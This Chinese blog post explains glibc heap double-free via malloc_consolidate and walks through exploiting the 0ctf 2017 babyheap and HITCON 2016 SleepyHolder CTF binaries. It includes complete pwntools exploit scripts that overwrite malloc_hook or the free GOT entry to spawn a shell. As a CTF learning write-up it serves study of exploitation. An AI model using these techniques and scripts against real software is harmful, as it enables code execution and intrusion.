How2Heap堆利用学习笔记(二)

阅读量1233209

|

发布时间 : 2019-11-25 11:30:54

 

概述:上一篇,我们介绍了一种Double free技术。并且实现了对malloc_hook的fastbin_attack。

这次将介绍如何利用malloc中的consolidate机制来实现double free。本文会涉及一些源代码,如有解释错误,恳请各位大神指正。

 

0x01 利用consolidate的Double Free

1.1 fastbin_dup_consolidate分析

首先分析一下案例代码

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%pn", p1, p2);
  fprintf(stderr, "Now free p1!n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%pn", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %pn", malloc(0x40), malloc(0x40));
}

编译程序时时加-g参数,动态调试中可以同步源码进行分析。

img

1.2流程分析

程序首先malloc分配了两个0x40的内存p1和p2,然后free掉chunk_p1,小于64的chunkp1会被链入fastbins中。

gef➤  x/40gx 0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000051 
0x602010:    0x0000000000000000    0x0000000000000000 <--chunk_p1
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000051
0x602060:    0x0000000000000000    0x0000000000000000  <--chunk_p2
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000000    0x0000000000000000
0x6020a0:    0x0000000000000000    0x0000000000020f61

查看快表,可以看到被释放的chunk_p1

gef➤  heap bins fast 
─────[ Fastbins for arena 0x7ffff7dd1b20 ]─────
Fastbin[3]  →   UsedChunk(addr=0x602010,size=0x50)

执行分配0x400内存,此时看fastbin,发现chunk_p1已经被从快表中卸下了。而我们在small bins中找到了它。

gef➤  heap bins fast 
────[ Fastbins for arena 0x7ffff7dd1b20 ]───
Fastbin[0] 0x00
Fastbin[1] 0x00
Fastbin[2] 0x00
Fastbin[3] 0x00
gef➤  heap bins small 
───[ Small Bins for arena 'main_arena' ]────
[+] Found base for bin(4): fw=0x602000, bk=0x602000
 →   FreeChunk(addr=0x602010,size=0x50)

glibc在分配large chunk(>1024字节)时,首先操作是判断fast bins是否包含chunk。如果包含,则使用malloc_consolidate函数将fastbin中的chunk合并,并放入unsortbins。根据大小放入small bins/large bins。

让我通过glibc源码进行阅读分析 ,FTP下载地址,malloc的实现在/malloc/malloc.c

malloc.c在1055行分别定义了malloc free realloc函数

static void*  _int_malloc(mstate, size_t);
static void     _int_free(mstate, mchunkptr, int);
static void*  _int_realloc(mstate, mchunkptr, INTERNAL_SIZE_T,
​               INTERNAL_SIZE_T);

在_int_malloc的Define下找到触发consolidate的代码部分。

首先通过have_fastchunks判断fastbins是否链有空闲堆。

have_fastchunks的宏定义即为判断fastbin中是否包含chunk,flag为0的时候说明存在chunk。

#define have_fastchunks(M)     (((M)->flags & FASTCHUNKS_BIT) == 0)

如果包含chunk,将会调用consolidate来合并fastbins中的chunk,并将这些空闲的chunk加入unsorted bin中。

本案例触发consolidate的源码

  /*
​     If this is a large request, consolidate fastbins before continuing.
​     While it might look excessive to kill all fastbins before
​     even seeing if there is space available, this avoids
​     fragmentation problems normally associated with fastbins.
​     Also, in practice, programs tend to have runs of either small or
​     large requests, but less often mixtures, so consolidation is not
​     invoked all that often in most programs. And the programs that
​     it is called frequently in otherwise tend to fragment.
   */

  else
​    {
​      idx = largebin_index (nb);
​      if (have_fastchunks (av))
​        malloc_consolidate (av);
}

malloc_consolidate部分的源码

static void malloc_consolidate(mstate av)
{
  /*
    If max_fast is 0, we know that av hasn't
    yet been initialized, in which case do so below
  */
//判断fastbins是否存在chunks
  if (get_max_fast () != 0) {
    clear_fastchunks(av); //将fastchunk的flag标志设置为0

    unsorted_bin = unsorted_chunks(av); //获取unsorted_bin指针

    /*
      Remove each chunk from fast bin and consolidate it, placing it
      then in unsorted bin. Among other reasons for doing this,
      placing in unsorted bin avoids needing to calculate actual bins
      until malloc is sure that chunks aren't immediately going to be
      reused anyway.
    */
    maxfb = &fastbin (av, NFASTBINS - 1); //获取fastbin链的末尾作为限位器
    fb = &fastbin (av, 0); //当前fastbin链的地址
    do {
      p = atomic_exchange_acq (fb, 0);//不太懂这一句,希望有大佬能解答
//遍历fastbins,直到遍历结束
      if (p != 0) {
    do {
      check_inuse_chunk(av, p);
      nextp = p->fd; 

      /* Slightly streamlined version of consolidation code in free() */
      size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);

      if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(av, p, bck, fwd);
      }

      if (nextchunk != av->top) {
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

        if (!nextinuse) {
          size += nextsize;
          unlink(av, nextchunk, bck, fwd);
        } else
          clear_inuse_bit_at_offset(nextchunk, 0);

//将fastbin合并的chunk添加到链接到unsorted_bin的链中
        first_unsorted = unsorted_bin->fd;
        unsorted_bin->fd = p;
        first_unsorted->bk = p;

        if (!in_smallbin_range (size)) {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }

        set_head(p, size | PREV_INUSE);
        p->bk = unsorted_bin;
        p->fd = first_unsorted;
        set_foot(p, size);
      }

      else {
        size += nextsize;
        set_head(p, size | PREV_INUSE);
        av->top = p;
      }

    } while ( (p = nextp) != 0);

      }
    } while (fb++ != maxfb);
  }

//如果fastbin为空
  else {
    malloc_init_state(av);
    check_malloc_state(av);
  }
}

想了解Glibc具体如何实现的,非常安利华庭大佬写的《glibc内存管理》,讲解的非常详细,看完一定会有收获。

继续我们的程序分析,目前我们已经将chunk_p1放入了small_bins中。

此时free(p1)并不会触发double free检测。看下面的图,就能很容易能明白原因。

P1默认会被释放到fast bins,而同时之前的P1也被释放在smallbins中,程序并没有对此做出检测。

img

最后两次malloc(0x40)第一次从fastbins中获取了chunk_p1的地址,第二次从small_bins中获取了相同的地址。完成了一次double free。

0x6020a0:    0x0000000000000000    0x0000000000000411
gef➤  x/20  0x602010-0x10
0x602000:    0x0000000000000000    0x0000000000000051
0x602010:    0x0000000000000000    0x00007ffff7dd1bb8 <-- chunk_p4,chunk_p5(old_chunk_p1)
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000
0x602050:    0x0000000000000050    0x0000000000000051<--chunk_p2

1.3小结

结合上一篇文章,目前我们已经掌握两种针对fastbins的double free技巧做个总结.

1.在两次free中间,free另一块相同size的内存,绕过检测在fastbins中释放两次同一块chunk。一般可以结合fastbin_attack.

2.利用consolidate机制,分别在fastbins和bins(small/large)中free同一个chunk。一般结合unlink技术实现任意地址写。

下面会给出两个针对性案例进行分析

 

0x02 案例分析:

2.1 0ctf 2017 babyheap

概述:经典的fastbin_attack题型,首先要实现地址泄露,然后通过覆写malloc_hook获取shell

2.1.1逆向分析

因为之前做的题都是有源码的,这题会逆向分析的详细一些,有基础的师傅可以跳过这一段。

程序开头是堆题的基本操作,。我们都知道内存分配后的指针是不会保存在本地,而是全部由用户进行保存和使用。通过调用sub_B70()函数,程序为了能让用户通过index来确定内存空间地址,开辟的空间是用于存放一数组(实际上应该是结构体),用于存放申请内存空间的指针。根据每次通过输入index操作内存,24LL * index + a1每个结构体的大小应为24字节。

之后就是喜闻乐见的switch case菜单题,分别代表了Allocate分配、 Fill写入、 Free释放、 Dump输出。虽然有所封装,但是几乎可以无视了。值得注意的是使用calloc分配内存,在分配之前会将该内存中的数据清零。

漏洞出在Fill,Fill不会限制写入字节,于是会导致堆溢出。

{
  char *v4; // [rsp+8h] [rbp-8h]
  v4 = sub_B70();
  while ( 1 )
  {
​    sub_CF4(a1, a2);
​    sub_138C();
​    switch ( (unsigned __int64)off_14F4 )
​    {
​      case 1uLL:
​        a1 = (__int64)v4;
​        Allocate((__int64)v4);
​        break;
​      case 2uLL:
​        a1 = (__int64)v4;
​        Fill(v4);
​        break;
​      case 3uLL:
​        a1 = (__int64)v4;
​        Free((__int64)v4);
​        break;
​      case 4uLL:
​        a1 = (__int64)v4;
​        Dump(v4);
​        break;
​      case 5uLL:
​        return 0LL;
​      default:
​        continue;
​    }
  }
}

查看保护机制,PIE也开启了(不过必须与ASLR共同开启才能产生作用),也就是说程序段的地址也会偏移。所以需要注意,

gef➤  checksec
[+] checksec for '/home/p0kerface/Documents/Lab/0ctfbabyheap'
Canary                        : Yes →  value: 0x6d01c8ace13dec00
NX                            : Yes
PIE                           : Yes
Fortify                         : No
RelRO                         : Full

2.1.2利用思路

1.利用的地址泄露来获取libc的基地址。通过获取free的chunk中的unsorted bin地址(main_arena在libc的data段)。

2.通过fastbin_attack覆写malloc_hook(通过偏移可以计算出)

0.Leak Base

因为程序开启了ASLR和PIE,虽然其实这对堆利用影响不大,但是对我们攻击的地址,比如malloc_hook的地址会产生影响。所以我们需要将Libc的地址泄露出来。

利用思路主要参考大佬写的文章

利用的是利用chunk_0堆溢出覆写chunk_1,的size(0x40扩大到0x60),然后释放后重新申请,欺骗程序这块内存地址为0x60。这样chunk_1就能dump chunk_2的内容了。

然后释放chunk_2,chunk2的FD和BK便是指向unsorted bins的指针。DUMP就能获取基地址。

def leak():
​    #leak
​    Alloc(0x60) #index 0
​    Alloc(0x40) #index 1

​    payload="a"*0x60
​    payload+=p64(0)+p64(0x71) #Chunk ->size
​    Fill(0,payload)

​    Alloc(0x80) #index 2
​    Alloc(0x10) #index 3 ,to avoid chunk_2 merge into top_chunk

​    #Bk_NextSize=0x71, to avoid "free(): invalid next size (fast)"
​    payload=p64(0)*3
​    payload+=p64(0x71) #Chunk2->BK_nextsize
​    Fill(2,payload)
​    Free(1)
​    Alloc(0x60) #index 1

​    #Fix smallChunk
​    payload="a"*0x40
​    payload+=p64(0)+p64(0x91) #Chunk ->size
​    Fill(1,payload)

​    Free(2)
​    Dump(1)
​    p.recv(82)
​    leak_address=u64(p.recv(8))
​    print "leak stirngs=>"+hex(leak_address)
​    #Free(0) #for debug
​    return leak_address

成功leak时候的内存空间

gef➤  x/50xg 0x561043fcd010-0x10
0x561043fcd000:    0x0000000000000000    0x0000000000000071 <--chunk_0
0x561043fcd010:    0x0000000000000000    0x6161616161616161
0x561043fcd020:    0x6161616161616161    0x6161616161616161
0x561043fcd030:    0x6161616161616161    0x6161616161616161
0x561043fcd040:    0x6161616161616161    0x6161616161616161
0x561043fcd050:    0x6161616161616161    0x6161616161616161
0x561043fcd060:    0x6161616161616161    0x6161616161616161
0x561043fcd070:    0x0000000000000000    0x0000000000000071 <-chunk_1
0x561043fcd080:    0x6161616161616161    0x6161616161616161
0x561043fcd090:    0x6161616161616161    0x6161616161616161
0x561043fcd0a0:    0x6161616161616161    0x6161616161616161
0x561043fcd0b0:    0x6161616161616161    0x6161616161616161
0x561043fcd0c0:    0x0000000000000000    0x0000000000000091 <-chunk_2
0x561043fcd0d0:    0x00007fd34f48bb78    0x00007fd34f48bb78 <- unsorted bins [leak]
0x561043fcd0e0:    0x0000000000000000    0x0000000000000071 <-bk_next_size
0x561043fcd0f0:    0x0000000000000000    0x0000000000000000
0x561043fcd100:    0x0000000000000000    0x0000000000000000
0x561043fcd110:    0x0000000000000000    0x0000000000000000
0x561043fcd120:    0x0000000000000000    0x0000000000000000
0x561043fcd130:    0x0000000000000000    0x0000000000000000
0x561043fcd140:    0x0000000000000000    0x0000000000000000
0x561043fcd150:    0x0000000000000090    0x0000000000000020
0x561043fcd160:    0x0000000000000000    0x0000000000000000
0x561043fcd170:    0x0000000000000000    0x0000000000020e91 <--top chunk

1.Fastbin_attack

相比Libc Address部分的有些复杂,这部分就比较中规中矩了,都是上一篇文章讲的东西。通过覆写chunk的fastbin链来达到任意地址写的目的。

Leak的公式:

泄露的地址-(unsortbin的偏移地址)=libc的基地址

然后利用Fastbin_attack覆写malloc_hook地址

通过vmmap可以计算出,unsorted bins距离libc的偏移地址为 0x3c4b78

下图,计算出的地址与vmmap出的结果相同。

img

完整利用脚本

from pwn import *

p=process("./0ctfbabyheap")
gdb.attach(p)
context.log_level = "debug"

def Alloc(size):
​    p.recvuntil("Command:")
​    p.sendline(str(1))
​    p.recvuntil("Size:")
​    p.sendline(str(size))

def Fill(index,strings):
​    p.recvuntil("Command:")
​    p.sendline(str(2))
​    p.recvuntil("Index:")
​    p.sendline(str(index))
​    p.recvuntil("Size:")
​    print len(strings)
​    p.sendline(str(len(strings)))
​    p.recvuntil("Content:")
​    p.sendline(str(strings))

def Free(index):
​    p.recvuntil("Command:")
​    p.sendline(str(3))
​    p.recvuntil("Index:")
​    p.sendline(str(index))

def Dump(index):
​    p.recvuntil("Command:")
​    p.sendline(str(4))
​    p.recvuntil("Index:")
​    p.sendline(str(index))
​    p.recvuntil("Content:")

def leak():
​    #leak
​    Alloc(0x60) #index 0
​    Alloc(0x40) #index 1

​    payload="a"*0x60
​    payload+=p64(0)+p64(0x71) #Chunk ->size
​    Fill(0,payload)

​    Alloc(0x80) #index 2
​    Alloc(0x10) #index 3 ,to avoid chunk_2 merge into top_chunk

​    #Bk_NextSize=0x71, to avoid "free(): invalid next size (fast)"
​    payload=p64(0)*3
​    payload+=p64(0x71) #Chunk2->BK_nextsize
​    Fill(2,payload)

​    Free(1)
​    Alloc(0x60) #index 1

​    #Fix smallChunk
​    payload="a"*0x40
​    payload+=p64(0)+p64(0x91) #Chunk ->size
​    Fill(1,payload)

​    Free(2)
​    Dump(1)
​    p.recv(82)
​    leak_address=u64(p.recv(8))
​    print "[+]leak stirngs=>"+hex(leak_address)
​    #Free(0) #for debug
​    return leak_address

def Attack(base):
​    malloc_hook=0x3C4B10-35+base
​    print "[+]malloc_hook => "+hex(malloc_hook)
​    one_gadget=base+0x4526a
​    print "[+]one_gadget => "+hex(one_gadget)
​    Alloc(0x60) #index 2
​    Alloc(0x60) #index 4
​    Alloc(0x60) #index 5
​    Free(5)
​    Free(4)#fastbin ->chunk_5->chunk_4
​    #Fill(2,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")    
​    Fill(2,"A"*(0x160-0xd0+0x18)+p64(0x71)+p64(malloc_hook)) #fastbin ->chunk_5->malloc_hook-35

​    Alloc(0x60)#index 4
​    Alloc(0x60)#index 5 =>malloc_hook-35

​    Fill(5,"A"*(35-16)+p64(one_gadget))
​    Alloc(0x10)#get shell

leak_address=leak()
base=leak_address-0x3c4b78
print "[+]Libc Base Address =>"+hex(base)

Attack(base)

p.interactive()

2.1.3一些注意事项

在做题目前期碰到的一些问题与解决方案

1.Chunk无法释放到unsorted bins的问题

释放一个small chunk,然后这个chunk的FD和BK便是指向libc某地址的指针(unsroted bins),就可以leak地址了。但是需要注意的是,并不是所有时候,chunk都会被释放到bins上。

例如

Alloc(0x10) #index 0 
Allocc(0x80) #index 1
Free(1)

当我free一个small_chunk,发现它并没有被free到unsort bins(也没有到small bins中),原因在_int_free函数中如此描述,如果释放的内存与top_chunk相邻(且不是fastbin),会被直接合并到top_chunk。之前一直忽略了这个性质。

解决方案很简单,在small_chunk之后再申请一个chunk就行,把它与top_chunk隔开就行。

    /*
​      If the chunk borders the current high end of memory,
​      consolidate into top
​    */
​    else {
​      size += nextsize;
​      set_head(p, size | PREV_INUSE);
​      av->top = p;
​      check_chunk(av, p);
}

2.在释放chunksize被修改的Chunk_1时,报错invalid next size (fast),即对next size的检查报错。

在程序Free一块内存的时候,会做如下检查。如果下一个chunk的bk next chunk(nextchunk偏移24字节)不正确,则会阻止Free过程。源码如下。

    /* We might not have a lock at this point and concurrent modifications
​       of system_mem might have let to a false positive.  Redo the test
​       after getting the lock.  */
​    if (have_lock
​        || ({ assert (locked == 0);
​          mutex_lock(&av->mutex);
​          locked = 1;
​          chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
​            || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
​          }))
​      {
​        errstr = "free(): invalid next size (fast)";
​        goto errout;
​      }

查看chunk的结构体,发现bk_nextsize在头部(fd)偏移3个位,64位系统就是24个字节。

所以也就有了

#Bk_NextSize=0x71, to avoid "free(): invalid next size (fast)"
​    payload=p64(0)*3
​    payload+=p64(0x71) #Chunk2->BK_nextsize
​    Fill(2,payload)

Malloc结构如下

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

2.2 案例分析2

SleepyHolder

概述:Hitcon2016年首创的一种利用手法,使用consolidate机制产生Double Free条件,然后结合unlink实现got表覆盖。

下载链接
参考思路

2.2.1利用细节:

1.程序存在一个悬挂指针的问题,就是Free之后会清零标志位,但是不会删除指针。为Double Free提供了条件。

  switch(choice)
​    {
​        case 1:
​            free(f_ptr);//释放内存,没有删除指针f_ptr
​            f_flag = 0;//清楚标志位 
​            break;
​        case 2:
​            free(s_ptr);
​            s_flag = 0;
​            break;
​    }

2.每种内存只能申请一次,除非释放,三种内存又分别fast bins(small)、small bins、large bins都无法相互影响。并且只能写入一次。不能为fastbin的Double Free创造条件。也就引出了这次的利用手法。

3.因为内存指针ptr都是全局变量,PIE又没开启,所以指针都位置是固定。本案例汇总f_ptr的地址就为0x6020d0

全局指针定义

char *s_ptr;
char *f_ptr;
char *q_ptr;

2.2.2利用思路:

1.首先申请small和large各一块内存。释放small内存,其会被释放到fastbins.

释放huge内存,触发consolidate将fastbin内存整合到small bins,再次释放small。实现double free。

#Double Free
Add(1,"AAAAAA") 
Add(2,"BBBBBB")
Free(1) #将small chunk放入fastbins
Add(3,"CCCCCC") #将small chunk放入small bins ,并且设置inuse为free
Free(1) #double free

此时small同时被fastbins和small bins链接。

2.重新申请内存small,会从fastbin中取下来。此时small的inuse标志位依旧是0(consolidate会将标志为设置为Free,而fastbin的操作都不会影响标志位)这样就能在small中构造伪堆。释放large,触发unlink。

unlink参考 http://www.mamicode.com/info-detail-1670578.html

#Unlink

p_ptr=0x6020d0

fakechunk=p64(0)+p64(0x21)

fakechunk+=p64(p_ptr-0x18)+p64(p_ptr-0x10)

fakechunk+=p64(0x20)#for check

Add(1,fakechunk)

Free(2) #释放large内存,如果检查前一个堆块为free,则会触发Unlink合并堆块。

触发unlink的代码

    /* consolidate backward */
​    if (!prev_inuse(p)) {
​      prevsize = p->prev_size;
​      size += prevsize;
​      p = chunk_at_offset(p, -((long) prevsize));
​      unlink(av, p, bck, fwd);
}

​    Free chunks结构
​    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
​        |             Size of previous chunk                            |
​        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
​    `head:' |             Size of chunk, in bytes                         |P|
​      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
​        |             Forward pointer to next chunk in list             |
​        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
​        |             Back pointer to previous chunk in list            |
​        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
​        |             Unused space (may be 0 bytes long)
gef➤  x/10gx 0x11b2da0-0x10
0x11b2d90:    0x0000000000000000  0x0000000000000031
0x11b2da0:    0x0000000000000000      0x00007fe12672db98 <-f_ptr
0x11b2db0:    0x0000000000000000      0x0000000000000000

构造fake_chunk

gef➤  x/10gx 0x11b2da0-0x10
0x11b2d90:    0x0000000000000000     0x0000000000000031
0x11b2da0:    0x0000000000000000     0x0000000000000021 <-f_ptr
0x11b2db0:    0x00000000006020B8<-FD 0x00000000006020C0<-BK <-fake_chunk
0x11b2dc0:    0x0000000000000020    <-Next_size 0x0000000000000fb0

设置FD=0x6020d0-0x18 BK=0x6020d0-0x10
为了绕过检查if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
FD->bk即FD偏移3x机器位(0x8) BK->fd即BK偏移 2x机器位(0x8)
所以将FD和BK的位置埋在f_ptr(存放指针P)前的位置就能绕过检查。

检查之后,程序执行Unlink操作

FD->bk = BK;    (BK=0x6020c0)                              
BK->fd = FD;    (FD=0x6020b8)

实际上,FD->bk和BK->fd指向同一个地址,那就是全局指针f_ptr的地址。

执行unlink之前

gef➤  x/10gx 0x6020d0-0x20
0x6020b0 <stdout>:    0x00007fe12672e620      0x0000000000000000 <-FD
0x6020c0:    0x00000000011b2dd0 <-BK        0x00007fe1268dd010
0x6020d0:    0x00000000011b2da0 <-&f_ptr     0x0000000100000001

执行unlink之后

gef➤  x/20gx 0x6020d0-0x20
0x6020b0 <stdout>:    0x00007f62589b2620    0x0000000000000000
0x6020c0:    0x000000000072b3e0     0x00007f6258b61010
0x6020d0:    0x00000000006020b8 <-new&f_ptr    0x0000000100000000

所以此时我们修改了f_ptr为0x6020b0,还拥有对这块内存对可写权限。

3.此时通过向small堆块写数据,就可以修改指向small chunk的全局指针f_ptr(存放于0x6020d0)。之后就是比较套路对操作了,将指针修改到got表,将free_got修改为system。

2.2.3完整的EXP

from pwn import * 

p=process("./SleepyHolder")
context.log_level = 'debug'
gdb.attach(p)
elf=ELF("./SleepyHolder")

def Add(size,secret): #Small:1 Big:2 Huge:3
​    p.recvuntil("Renew secret")
​    p.sendline(str(1))
​    p.recvuntil("want to keep?")
​    p.sendline(str(size))
​    p.recvuntil("Tell me your secret:")
​    p.sendline(secret)
def Free(size):
​    p.recvuntil("Renew secret")
​    p.sendline(str(2))
​    p.recvuntil("Big secretn")
​    p.sendline(str(size))
def Renew(size,secret):
​    p.recvuntil("Renew secret")
​    p.sendline(str(3))
​    p.recvuntil("Which Secret do you want to renew?")
​    p.sendline(str(size))
​    p.recvuntil("Tell me your secret:")
​    p.send(secret)     #not sendline

#Double Free
Add(1,"AAAAAA")
Add(2,"BBBBBB")
Free(1)
Add(3,"CCCCCC")
Free(1)

#Unlink
p_ptr=0x6020d0
fakechunk=p64(0)+p64(0x21)
fakechunk+=p64(p_ptr-0x18)+p64(p_ptr-0x10)
fakechunk+=p64(0x20)#for check
Add(1,fakechunk)
Free(2) #-> Unlink

#Leak
got_free=elf.got['free']
got_puts=elf.got['puts']
plt_puts=elf.plt['puts']
got_atoi=elf.got['atoi']
print "got_puts="+hex(got_puts)
print "plt_puts="+hex(plt_puts)
payload=p64(0)+p64(got_puts) #s_ptr->got_puts
payload+=p64(got_puts)+p64(got_free) #p_ptr->got_free
payload+=p64(0x1)*3
Renew(1,payload)
payload=p64(plt_puts) #free->puts
Renew(1,payload)

Free(2) #free(s_ptr)->puts(s_ptr->puts_address)

puts_address=u64(p.recv(6).ljust(8,"x00"))

print "[+]puts_address="+hex(puts_address)


#get shell
system_offset=0x45390
puts_offset=0x6f690

base=puts_address-puts_offset
system_addr=base+system_offset
print "[+]system_addr="+hex(system_addr)

payload=p64(system_addr)
Renew(1,payload)
Add(2,"/bin/bash")
Free(2)
p.interactive()

2.3小结

以上的两个案例都不是使用一种技术就能解决的问题,都是需要多种技术组合才能拿到shell。例如案例一的关键点在于chunk大小的伪造,实现堆溢出导致fastbin_attack,而案例二使用consolidate机制制造double free,还需要结合unlink才能成功利用。

解题能力最终还要回归到自己对堆机制的理解和对漏洞的感觉。

笔记

Leak地址的方法 1.got表(前提:PIE关闭)2.free_chunk中的FD/BK
Unlink绕过检查机制,需要利用一个全局指针

 

参考文献:

[0] Glibc-2.23源码

[1] Anciety.0ctf 2017 babyheap writeup.

https://blog.csdn.net/qq_29343201/article/details/66476135[OL/DB],2017-03-26

[2]华庭(庄明强).《glibc内存管理ptmalloc2源代码分析》2011-4-17

[3]0x9A82.Hitcon 2016 Pwn赛题学习https://www.cnblogs.com/Ox9A82/p/6766261.html

[4]0x2l.堆利用之unlink小结.https://bbs.pediy.com/thread-253502.htm

附录:

SleeyHolder源码


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define BASE 40

char *s_ptr;
char *f_ptr;
char *q_ptr;

int s_flag;
int f_flag;
int q_flag;


void add()
{
​    char buf[4];
​    char *ptr;
​    unsigned int choice;
​    puts("What secret do you want to keep?");
​    puts("1. Small secret");
​    puts("2. Big secret");
​    if(!q_flag)
​        puts("3. Keep a huge secret and lock it forever");
​    memset(buf, 0 ,sizeof(buf));
​    read(0, buf, sizeof(buf));
​    choice = atoi(buf);

​    switch(choice)
​    {
​        case 1:
​            if(f_flag)
​                return;
​            f_ptr = calloc(1, BASE);
​            f_flag = 1;
​            puts("Tell me your secret: ");
​            read(0, f_ptr, BASE);
​            break;
​        case 2:
​            if(s_flag)
​                return;
​            s_ptr = calloc(1, BASE*100);
​            s_flag = 1;
​            puts("Tell me your secret: ");
​            read(0, s_ptr, BASE*100);
​            break;
​        case 3:
​            if(q_flag)
​                return;
​            q_ptr = calloc(1, BASE*10000);
​            q_flag = 1;
​            puts("Tell me your secret: ");
​            read(0, q_ptr, BASE*10000);
​            break;
​    }

}


void del()
{
​    char buf[4];
​    int choice;
​    puts("Which Secret do you want to wipe?");
​    puts("1. Small secret");
​    puts("2. Big secret");
​    memset(buf, 0, sizeof(buf));
​    read(0, buf, sizeof(buf));
​    choice = atoi(buf);

​    switch(choice)
​    {
​        case 1:
​            free(f_ptr);
​            f_flag = 0;
​            break;
​        case 2:
​            free(s_ptr);
​            s_flag = 0;
​            break;
​    }
}



void update()
{
​    char buf[4];
​    int choice;
​    puts("Which Secret do you want to renew?");
​    puts("1. Small secret");
​    puts("2. Big secret");
​    memset(buf, 0, sizeof(buf));
​    read(0, buf, sizeof(buf));
​    choice = atoi(buf);

​    switch(choice)
​    {
​        case 1:
​            if(f_flag)
​            {
​                puts("Tell me your secret: ");
​                read(0, f_ptr, BASE);
​            }
​            break;
​        case 2:
​            if(s_flag)
​            {
​                puts("Tell me your secret: ");
​                read(0, s_ptr, BASE*100);
​            }
​            break;
​    }
}



void handler(){
​    puts("Timeout!");
​    exit(1);
}


void init_prog(){
​    setvbuf(stdout, 0,2,0);
​    signal(SIGALRM, handler);
​    alarm(60);
}


int main()
{
​    init_prog();
​    puts("Waking Sleepy Holder up ...");
​    int fd = open("/dev/urandom", O_RDONLY);
​    unsigned int rand_size;
​    read(fd, &rand_size, sizeof(rand_size));
​    rand_size %= 4096;
​    malloc(rand_size);
​    sleep(3);
​    char buf[4];
​    unsigned int choice;
​    puts("Hey! Do you have any secret?");
​    puts("I can help you to hold your secrets, and no one will be able to see it :)");
​    while(1){
​        puts("1. Keep secret");
​        puts("2. Wipe secret");
​        puts("3. Renew secret");

​        memset(buf, 0 ,sizeof(buf));
​        read(0, buf, sizeof(buf));
​        choice = atoi(buf);
​        switch(choice){
​            case 1:
​                add();          
​                break;
​            case 2:
​                del();
​                break;
​            case 3:
​                update();
​                break;
​        }
​    }
}

本文由Migraine殇原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/193132

安全KER - 有思想的安全新媒体

分享到:微信
+18赞
收藏
Migraine殇
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66